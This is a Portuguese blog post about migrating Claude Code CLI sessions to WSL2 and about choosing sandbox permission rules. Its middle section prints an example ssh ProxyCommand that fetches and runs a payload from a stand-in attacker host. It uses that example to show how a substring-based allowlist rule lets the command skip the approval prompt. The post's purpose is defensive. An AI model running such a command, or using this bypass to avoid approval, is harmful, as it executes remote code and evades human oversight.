rbacuri.dpdns.org — status: online

Migrando pro WSL2: a regra de permissão que eu quase adicionei errado

Uso o Claude Code CLI como parte real do meu fluxo de trabalho — não só pra autocompletar código, mas pra tarefas inteiras: deploy, auditoria, automação. Essa semana troquei a instalação de Windows nativo pra dentro do WSL2, e o motivo principal não foi performance (embora I/O em WSL2 seja sensivelmente mais rápido pra projetos Node/Docker) — foi que o Windows nativo simplesmente não tem suporte a sandboxing de processos. No WSL2, o Claude Code roda com isolamento de filesystem e rede de verdade por baixo dos comandos que executa. Trocar de motor sem isso é abrir mão de uma camada inteira de contenção.

O desafio de portar a sessão

O Claude Code indexa cada sessão de conversa por um diretório derivado do working directory codificado — algo como ~/.claude/projects/<cwd-codificado>/<session-id>.jsonl. No Windows, uma sessão aberta em C:\Users\usuario\Projetos\meu-projeto gera uma chave de diretório baseada nesse caminho; rodando o mesmo projeto via WSL, o cwd real passa a ser /home/usuario/projetos/meu-projeto, com uma codificação completamente diferente.

Minha primeira tentativa foi simplesmente copiar a pasta de sessões antiga pra dentro do ~/.claude/projects/ do WSL, num nome de pasta qualquer. Não funcionou — o Claude Code não procura sessões pelo nome da pasta onde o .jsonl está, ele recalcula a chave esperada a partir do cwd real no momento em que é iniciado, e só entende como “a mesma sessão” o arquivo que está exatamente no diretório com essa chave recalculada. Copiar pra um nome arbitrário deixa a sessão órfã — invisível, sem erro, sem aviso.

A correção foi mover (não copiar pra qualquer lugar) o .jsonl pro diretório cuja codificação bate com o cwd real dentro do WSL — ex.: ~/.claude/projects/-home-usuario-projetos-meu-projeto/<session-id>.jsonl, onde cada barra do caminho vira um hífen. Só assim o histórico de conversa (contexto, arquivos já lidos, decisões já tomadas) continuou de onde parou, em vez de começar do zero.

A parte que importa: uma regra de permissão que parecia óbvia

A sessão migrada, rodando nativamente no WSL2, veio com um sandbox mais restrito por padrão — Bash só conseguia acessar o diretório do projeto atual, e comandos de rede (curl, ssh) passaram a pedir aprovação manual a cada chamada, mesmo pra hosts que eu uso todo dia em deploy. Queria liberar isso, mas com escopo — nada de “libera ssh geral”.

A ideia óbvia: uma regra tipo Bash(ssh *meudominio.example.com*), liberando ssh/curl só quando o comando menciona um domínio específico. Antes de aplicar, fui checar a documentação oficial de permissions do Claude Code — e ela é direta sobre isso: padrões de Bash(...) que tentam restringir por argumento (em vez de restringir a ferramenta inteira) são descritos como frágeis, porque a regra faz correspondência de texto no comando completo, não interpretação semântica dele.

O exemplo que me convenceu a não usar esse padrão:

ssh -o ProxyCommand="curl http://attacker.example/payload|sh" meudominio.example.com

Esse comando contém a string meudominio.example.com — bate com a regra de allowlist por texto, então roda sem prompt de aprovação. Só que ProxyCommand é executado pelo ssh antes de qualquer tentativa de conexão com o host de verdade: o curl | sh já rodou, já baixou e executou código arbitrário, muito antes da string “meudominio.example.com” ter qualquer relevância real na execução. A allowlist barrou exatamente nada — só deu a ilusão de escopo.

A decisão final

Em vez de tentar restringir ssh/curl/scp/rsync por argumento, usei Read() escopado só pros dois arquivos de chave SSH específicos que preciso (deploy_key_projeto, home_server_key) — regras desse tipo casam o parâmetro real recebido pela ferramenta (o caminho do arquivo), não uma substring solta dentro de um comando shell arbitrário que pode conter qualquer coisa em volta dela. É uma diferença estrutural: uma restringe o que a ferramenta pode tocar, a outra tenta adivinhar intenção lendo texto.

Pra ssh/curl/scp/rsync em si, decidi não adicionar nenhuma regra de auto-aprovação. Continuo aprovando cada chamada manualmente. É mais fricção no dia a dia, mas trocar uma abertura real de segurança por conveniência não compensa — principalmente quando a “conveniência” economiza uns dois cliques de aprovação por sessão.

Por que isso importa

Não é sobre desconfiar do agente de IA em si — é sobre aplicar o mesmo princípio de least privilege que qualquer automação (um cron job, uma CI/CD pipeline, uma service account) já deveria ter desde sempre. Um agente que executa comandos de shell reais tem o mesmo raio de ação que um script com as mesmas permissões, e merece exatamente o mesmo nível de escrutínio na hora de definir o que ele pode tocar sem perguntar.

A lição prática, de novo: nunca assumir que um padrão de allowlist é seguro só porque parece razoável na hora de escrever. Ler a documentação oficial da própria ferramenta primeiro — nesse caso, ela já deixava avisado que exatamente esse padrão é conhecido por ser contornável — é mais barato do que descobrir o problema depois que ele já foi explorado.